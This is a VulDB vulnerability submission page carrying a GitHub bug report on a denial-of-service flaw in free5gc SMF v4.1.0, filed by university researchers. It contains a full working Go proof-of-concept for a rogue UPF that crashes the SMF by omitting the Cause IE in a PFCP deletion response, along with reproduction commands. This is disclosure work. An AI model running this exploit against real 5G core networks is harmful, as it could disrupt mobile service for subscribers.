Отправить #743239: free5gc SMF v4.1.0 Denial of ServiceИнформация

Названиеfree5gc SMF v4.1.0 Denial of Service
Описание## Bug Decription A rogue/malicious UPF can trigger a remote Denial of Service in free5gc SMF by responding to a PFCP Session Deletion Request with a SessionDeletionResponse that omits the mandatory Cause IE. When SMF processes this “Not Accepted” deletion response path, it dereferences rsp.Cause.CauseValue without a nil-check, causing a runtime panic and terminating the SMF process. ### Credit Ziyu Lin, Xiaofeng Wang, Wei Dong (Nanyang Technological University) ### CVSS3.1 CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H ## To Reproduce Steps to reproduce the behavior: 1) Start fake UPF mode: code ``` // Vuln-PB2-11: SMF Nil Pointer Dereference in SessionDeletionResponse // // Vulnerability: When SMF receives a PFCPSessionDeletionResponse without // Cause IE, the else branch at datapath.go:478 dereferences rsp.Cause.CauseValue // causing a nil pointer panic. // // Attack: Rogue UPF responds to SessionDeletionRequest without Cause IE. package main import ( "encoding/binary" "flag" "log" "net" "time" "github.com/wmnsk/go-pfcp/ie" "github.com/wmnsk/go-pfcp/message" ) var ( listenAddr = flag.String("listen", "x.x.x.x:8805", "Address to listen on") nodeID = flag.String("node-id", "192.168.56.102", "UPF Node ID (IP address)") verbose = flag.Bool("v", false, "Verbose output") ) func main() { flag.Parse() log.Printf("[*] Vuln-PB2-11: Rogue UPF for SessionDeletionResponse nil Cause exploit") log.Printf("[*] Listening on %s", *listenAddr) addr, err := net.ResolveUDPAddr("udp", *listenAddr) if err != nil { log.Fatalf("Failed to resolve address: %v", err) } conn, err := net.ListenUDP("udp", addr) if err != nil { log.Fatalf("Failed to listen: %v", err) } defer conn.Close() buf := make([]byte, 65535) var localSEID uint64 = 0x1234567890ABCDEF var remoteSEID uint64 = 0 var smfLocalSEID uint64 = 0 sessionEstablished := false for { n, remoteAddr, err := conn.ReadFromUDP(buf) if err != nil { log.Printf("Read error: %v", err) continue } msg, err := message.Parse(buf[:n]) if err != nil { log.Printf("Parse error: %v", err) continue } if *verbose { log.Printf("[<] Received %s from %s", msg.MessageTypeName(), remoteAddr) } var resp message.Message switch msg.MessageType() { case message.MsgTypeHeartbeatRequest: resp = handleHeartbeat(msg) case message.MsgTypeAssociationSetupRequest: resp = handleAssociationSetup(msg) case message.MsgTypeSessionEstablishmentRequest: req := msg.(*message.SessionEstablishmentRequest) // Extract CP F-SEID from request if req.CPFSEID != nil { if fseid, err := req.CPFSEID.FSEID(); err == nil { remoteSEID = fseid.SEID log.Printf("[*] Stored remote SEID: 0x%X", remoteSEID) } } cpSeid := remoteSEID if cpSeid == 0 { if rawSeid, ok := extractCPFSEIDFromRaw(buf[:n]); ok { cpSeid = rawSeid log.Printf("[*] Extracted CP SEID from raw message: 0x%X", cpSeid) } } if cpSeid == 0 && req.SEID() != 0 { cpSeid = req.SEID() log.Printf("[*] Falling back to SEID from header: 0x%X", cpSeid) } smfLocalSEID = cpSeid resp = handleSessionEstablishment(msg, localSEID, cpSeid) sessionEstablished = true log.Printf("[*] Session established, waiting for DeletionRequest...") case message.MsgTypeSessionModificationRequest: log.Printf("[*] Received SessionModificationRequest - responding normally") resp = handleSessionModificationNormal(msg, smfLocalSEID) case message.MsgTypeSessionDeletionRequest: log.Printf("[!] Received SessionDeletionRequest") if sessionEstablished { log.Printf("[!] Sending MALICIOUS SessionDeletionResponse WITHOUT Cause IE") log.Printf("[!] This should trigger nil pointer dereference in SMF at datapath.go:478") resp = createMaliciousSessionDeletionResponse(msg, smfLocalSEID) } else { log.Printf("[*] Session not established, sending normal response") resp = handleSessionDeletionNormal(msg, smfLocalSEID) } default: log.Printf("[?] Unhandled message type: %s", msg.MessageTypeName()) continue } if resp != nil { respBytes := make([]byte, resp.MarshalLen()) if err := resp.MarshalTo(respBytes); err != nil { log.Printf("Marshal error: %v", err) continue } if _, err := conn.WriteToUDP(respBytes, remoteAddr); err != nil { log.Printf("Write error: %v", err) continue } if *verbose { log.Printf("[>] Sent %s to %s", resp.MessageTypeName(), remoteAddr) } } } } func handleHeartbeat(msg message.Message) message.Message { req := msg.(*message.HeartbeatRequest) return message.NewHeartbeatResponse( req.SequenceNumber, ie.NewRecoveryTimeStamp(time.Now()), ) } func handleAssociationSetup(msg message.Message) message.Message { req := msg.(*message.AssociationSetupRequest) log.Printf("[*] Association Setup - responding with success") return message.NewAssociationSetupResponse( req.SequenceNumber, ie.NewNodeIDHeuristic(*nodeID), ie.NewCause(ie.CauseRequestAccepted), ie.NewRecoveryTimeStamp(time.Now()), ) } func handleSessionEstablishment(msg message.Message, localSEID uint64, cpSEID uint64) message.Message { req := msg.(*message.SessionEstablishmentRequest) log.Printf("[*] Session Establishment - responding with success (CP SEID: 0x%X, UP SEID: 0x%X)", cpSEID, localSEID) return message.NewSessionEstablishmentResponse( 0, // MP 0, // FO cpSEID, req.SequenceNumber, 0, // Priority ie.NewNodeIDHeuristic(*nodeID), ie.NewCause(ie.CauseRequestAccepted), ie.NewFSEID(localSEID, net.ParseIP(*nodeID).To4(), nil), ) } func handleSessionModificationNormal(msg message.Message, smfLocalSEID uint64) message.Message { req := msg.(*message.SessionModificationRequest) return message.NewSessionModificationResponse( 0, // MP 0, // FO smfLocalSEID, req.SequenceNumber, 0, // Priority ie.NewCause(ie.CauseRequestAccepted), ) } // createMaliciousSessionDeletionResponse creates a response WITHOUT Cause IE // This triggers nil pointer dereference in SMF at datapath.go:478 func createMaliciousSessionDeletionResponse(msg message.Message, smfLocalSEID uint64) message.Message { req := msg.(*message.SessionDeletionRequest) // Create response WITHOUT Cause IE - this is the exploit // The SMF code at datapath.go:478 does: // Err: fmt.Errorf("cause[%d] if not request accepted", rsp.Cause.CauseValue) // When Cause is nil, this causes panic log.Printf("[!] EXPLOIT: Creating SessionDeletionResponse without Cause IE") log.Printf("[!] Expected crash at: smf/internal/sbi/processor/datapath.go:478") log.Printf("[!] Vulnerable code: fmt.Errorf(\"cause[%%d] if not request accepted\", rsp.Cause.CauseValue)") // Use NewSessionDeletionResponse but pass NO IEs (no Cause) // This creates a valid PFCP message with Header but without Cause IE resp := message.NewSessionDeletionResponse( 0, // MP 0, // FO smfLocalSEID, // SEID expected by SMF (local SEID) req.SequenceNumber, // Sequence Number 0, // Priority // NO IEs passed - intentionally omitting Cause IE ) return resp } func handleSessionDeletionNormal(msg message.Message, smfLocalSEID uint64) message.Message { req := msg.(*message.SessionDeletionRequest) return message.NewSessionDeletionResponse( 0, // MP 0, // FO smfLocalSEID, req.SequenceNumber, 0, // Priority ie.NewCause(ie.CauseRequestAccepted), ) } func extractCPFSEIDFromRaw(b []byte) (uint64, bool) { if len(b) < 8 { return 0, false } offset := 12 if b[0]&0x01 != 0 { offset = 16 } for offset+4 <= len(b) { typ := binary.BigEndian.Uint16(b[offset : offset+2]) l := int(binary.BigEndian.Uint16(b[offset+2 : offset+4])) offset += 4 if offset+l > len(b) { return 0, false } if typ == 57 { // F-SEID (CPFSEID) if l < 9 { return 0, false } return binary.BigEndian.Uint64(b[offset+1 : offset+9]), true } offset += l } return 0, false } ``` run `go run ./main.go -listen 10.100.200.2:8805 -node-id 10.100.200.2 -v` 2) Attach UE and establish a PDU session using UERANSIM. ``` sudo /home/ubuntu/UERANSIM/cmake-build-release/nr-gnb -c /home/ubuntu/UERANSIM/config/gnbcfg-free5gc.yaml sudo /home/ubuntu/UERANSIM/cmake-build-release/nr-ue -c /home/ubuntu/free5gc-compose/config/uecfg.yaml ``` 3) realease the session ``` ./cmake-build-release/nr-cli imsi-208930000000003 ps-release 1 ``` 4) The rogue UPF waits for the SMF to send a PFCP SessionDeletionRequest; once received, it replies with a malformed PFCP SessionDeletionResponse that omits the mandatory Cause IE, which triggers a nil pointer dereference in the SMF during response processing. ## Expected Behavior SMF should validate that SessionDeletionResponse contains the mandatory Cause IE and, if it is missing, handle the malformed response gracefully (e.g., log an error, fail the PFCP deletion, and keep the SMF running). ## Screenshots <img width="946" height="309" alt="Image" src="https://github.com/user-attachments/assets/bc4e7fc2-af71-42b1-86fa-403118a04c7f" /> ## Environment - free5GC Version: v4.1.0 - OS: Ubuntu 22.04 Server - Kernel version: [e.g. 5.15.0-0-generic] - go version: go version go1.24.9 linux/amd64 ## Trace Files ### Configuration Files Provide the configuration files. If you are unsure of what to do, please zip free5gc's `config` folder and upload it here. ### PCAP File Dump the relevant packets and provide the PCAP file. If you are unsure of what to do, use the following command before reproducing the bug: `sudo tcpdump -i any -w free5gc.pcap`. Then, please upload the `free5gc.pcap` file here. ### Log File ``` 2026-0
Источник⚠️ https://github.com/free5gc/free5gc/issues/817
Пользователь
 LinZiyu (UID 94035)
Представление21.01.2026 02:04 (5 месяцы назад)
Модерация05.02.2026 14:34 (16 days later)
Статуспринято
Запись VulDB344498 [Free5GC до 4.1.0 SMF SessionDeletionResponse отказ в обслуживании]
Баллы20

Want to know what is going to be exploited?

We predict KEV entries!